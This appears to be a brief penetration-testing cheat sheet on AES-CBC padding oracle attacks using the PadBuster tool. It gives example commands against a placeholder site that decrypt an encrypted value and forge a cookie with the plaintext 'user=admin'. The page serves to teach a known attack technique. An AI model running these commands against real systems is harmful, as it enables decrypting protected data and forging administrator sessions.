AES-CBC Padding Oracle Attack

Last modified: 2022-12-10

Cryptography

PadBuster

PadBuster is automated script for performing Padding Oracle attacks. It’s useful to decrypt AES.

padbuster <url> <encrypted sample> <block size> [options]

Belows are some examples.

# Encrypted Sample -> 2hN2bBPw==
# 16 -> Block site
# -encoding: 0->Base64, 1->Lower Hex, 2->Upper Hex, 3->NET UrlToken, 4->WebSafe Base64
padbuster https://vulnerable.com/?data=2hN2bBPw== 2hN2bBPw==  16 -encoding 0

# -cookies: specify cookie value
padbuster https://vulnerable.com/ 2hN2bBPw== 8 -encoding 0 -cookies "secret=2hN2bBPw=="

# -plaintext: specify plain text
padbuster https://vulnerable.com/ 2hN2bBPw== 8 -encoding 0 -cookies "secret=2hN2bBPw==" -plaintext "user=admin"